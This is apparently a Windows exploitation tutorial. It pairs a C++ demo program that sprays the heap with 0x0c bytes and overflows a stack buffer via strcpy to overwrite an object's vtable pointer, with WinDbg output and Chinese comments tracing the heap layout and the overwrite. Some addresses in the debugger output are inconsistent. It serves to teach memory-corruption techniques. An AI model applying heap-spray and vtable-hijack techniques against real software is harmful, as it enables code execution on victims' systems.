#include <windows.h>
#include <stdio.h>
class base
{
char m_buf[8];
public:
virtual int baseInit1()
{
printf("%s\n","baseInit1");
return 0;
}
virtual int baseInit2()
{
printf("%s\n","baseInit2");
return 0;
}
};
int main()
{
unsigned int bufLen = 200*1024*1024;
base* baseObj = new base;
char buff[8] = {0};
char* spray = new char[bufLen];
memset(spray,0x0c,sizeof(char)*bufLen);
memset(spray+bufLen-0x10,0xcc,0x10);
strcpy(buff,"12345678\x0c\x0c\x0c\x0c");
baseObj->baseInit1();
return 0;
}
0:000> dd baseObj L1
0012ff6c 004300A0
0:000> dd 4300a0 L1
004300A0 0042202c
0:000> dt _PEB 7ffdf000 ;查看进程堆分布
ntdll!_PEB
+0x088 NumberOfHeaps : 4
+0x090 ProcessHeaps : 0x773a8500 -> 0x001c0000 Void
;进程有4个堆 堆句柄记录在0x773a8500开始的数组中
0:000> dd 0x773a8500 L8
773a8500 001c0000 00010000 00020000 003c0000
;crt堆一般是程序堆数组元素中最后一个 所以调用new char[bufLen];后挂入从0x3c0000开始处的堆虚拟分配的HEAP!VirtualAllocdBlocks队列
0:000> dt _HEAP 003c0000
ntdll!_HEAP
+0x0a0 VirtualAllocdBlocks : _LIST_ENTRY [ 0x630000 - 0x630000 ]
0:000> dd 0x530000
00630000 003c00a0 003c00a0 ;<----00630000处的8B是_LIST_ENTRY结构,指向HEAP!VirtualAllocdBlocks队列头
00630030 0c800000 ;<----00530030处的16进制0c800000正好是请求分配的内存
00630040 cdcdcdcd cdcdcdcd cdcdcdcd cdcdcdcd ;
0:000> dd 0x0c0c0c0c
0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
0c0c0c1c 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
strcpy(buff,"12345678\x0c\x0c\x0c\x0c");
0:000> dd buff L1
0012ff64 00000000 ;buff位于栈地址0x12ff64
0:000> dd baseObj L1
0012ff6c 004300a0 ;baseObj位于栈地址0x12ff6c,覆盖后baseObj的虚函数表vftable指针值被设置为0x0c0c0c0c